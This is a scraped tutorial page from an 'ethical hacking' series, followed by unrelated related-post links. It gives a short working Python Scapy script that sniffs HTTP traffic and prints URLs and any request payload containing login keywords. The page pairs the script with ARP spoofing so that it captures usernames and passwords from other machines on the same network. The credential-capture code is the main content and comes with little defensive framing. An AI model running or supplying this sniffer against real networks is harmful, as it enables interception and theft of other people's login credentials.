Python Ethical Hacking - Packet Sniffer(2)
Capturing passwords from any computer connected to the same network.
ARP_SPOOF + PACKET_SNIFFER
- Target a computer on the same network.
 - arp_spoof to redirect the flow of packets(become MITM)
 - Packet_sniffer to see URLs, usernames, and passwords sent by the target.
 
#!/usr/bin/env python from scapy.all import *
from scapy.layers.http import * def sniff(interface):
scapy.all.sniff(iface=interface, store=False, prn=process_sniffed_packet) def get_url(packet):
return packet[HTTPRequest].Host.decode(errors='ignore') + packet[HTTPRequest].Path.decode(errors='ignore') def get_login_info(packet):
if packet.haslayer(scapy.all.Raw):
load = packet[scapy.all.Raw].load.decode(errors='ignore')
keywords = ["username", "user", "login", "password", "pass"]
for keyword in keywords:
if keyword in load:
return load def process_sniffed_packet(packet):
if packet.haslayer(HTTPRequest):
url = get_url(packet)
print("[+] HTTP Request >> " + url) login_info = get_login_info(packet)
if login_info:
print("\n\n[+] Possible username/password > " + login_info + "\n\n") sniff("eth0")

Python Ethical Hacking - Packet Sniffer(2)的更多相关文章
- Python Ethical Hacking - Packet Sniffer(1)
		
PACKET_SNIFFER Capture data flowing through an interface. Filter this data. Display Interesting info ...
 - Python Ethical Hacking - ARP Spoofing
		
Typical Network ARP Spoofing Why ARP Spoofing is possible: 1. Clients accept responses even if they ...
 - Python Ethical Hacking - NETWORK_SCANNER(1)
		
NETWORK_SCANNER Discover all devices on the network. Display their IP address. Display their MAC add ...
 - Python Ethical Hacking - Bypass HTTPS(1)
		
HTTPS: Problem: Data in HTTP is sent as plain text. A MITM can read and edit requests and responses. ...
 - Python Ethical Hacking - BeEF Framework(1)
		
Browser Exploitation Framework. Allows us to launch a number of attacks on a hooked target. Targets ...
 - Python Ethical Hacking - MODIFYING DATA IN HTTP LAYER(3)
		
Recalculating Content-Length: #!/usr/bin/env python import re from netfilterqueue import NetfilterQu ...
 - Python Ethical Hacking - MODIFYING DATA IN HTTP LAYER(2)
		
MODIFYING DATA IN HTTP LAYER Edit requests/responses. Replace download requests. Inject code(html/Ja ...
 - Python Ethical Hacking - MODIFYING DATA IN HTTP LAYER(1)
		
MODIFYING DATA IN HTTP LAYER Edit requests/responses. Replace download requests. Inject code(html/Ja ...
 - Python Ethical Hacking - DNS Spoofing
		
What is DNS Spoofing Sniff the DNSRR packet and show on the terminal. #!/usr/bin/env python from net ...
 
随机推荐
- 001.OpenShift介绍
			
一 OpenShift特性 1.1 OpenShift概述 Red Hat OpenShijft Container Platform (OpenShift)是一个容器应用程序平台,它为开发人员和IT ...
 - uni-app之实现分页
			
一.下载库 官方文档地址为:https://ext.dcloud.net.cn/plugin?id=32 点击下载zip压缩包即可,下载完毕后解压到放置前端相关组件目录,即components目录. ...
 - Day8-微信小程序实战-交友小程序-首页用户列表渲染及多账号调试及其点赞功能的实现
			
在这之前已经把编辑个人的所有信息的功能已经完成了 之后先对首页的列表搞动态的,之前都是写死的静态 1.之前都是把好友写死的,现在就在js里面定义一个数组,用循环来动态的绑定 在onReady中定义,取 ...
 - c#,pagerank算法实现一
			
PageRank让链接来"投票" 一个页面的“得票数”由所有链向它的页面的重要性来决定,到一个页面的超链接相当于对该页投一票.一个页面的PageRank是由所有链向它的页面(“链入 ...
 - 新来的"大神"用策略模式把if else给"优化"了,技术总监说:能不能想好了再改?
			
本文来自作者投稿,原作者:上帝爱吃苹果 目前在魔都,贝壳找房是我的雇主,平时关注一些 java 领域相关的技术,希望你们能在这篇文章中找到些有用的东西.个人水平有限,如果文章有错误还请指出,在留言区一 ...
 - Office2019 相关激活秘钥
			
零售版 W8W6K-3N7KK-PXB9H-8TD8W-BWTH9 批量板 N9J9Q-Q7MMP-XDDM6-63KKP-76FPM
 - Vue基础篇 (1) —— Vue-Router的使用
			
Vue-Cli中Vue-Router的使用 一.创建vue-cli的项目 npm create myproject vue create 为vue.js 3.0构建项目的命令,2.0版本可以通过vue ...
 - JDK8--02:为什么要使用lambda
			
lambda是一个匿名函数,我们可以把lambda理解为一个可以传递的代码(将代码像数据一样传递),可以写出更简洁更灵活的代码.首先看一下原来的匿名内部类实现方式(以比较器为例) //原来的匿名内部类 ...
 - dart快速入门教程 (1)
			
1.环境搭建 1.1.dart简介 Dart 是一种 易于学习. 易于扩展.并且可以部署到 任何地方 的 应用 编程 语言.Google 使用 Dart 来开发 大型应用.flutter使用dart语 ...
 - abp + vue  模板新建页面
			
新建页面 创建按对应的模块和实体 新建的模块需要进行注册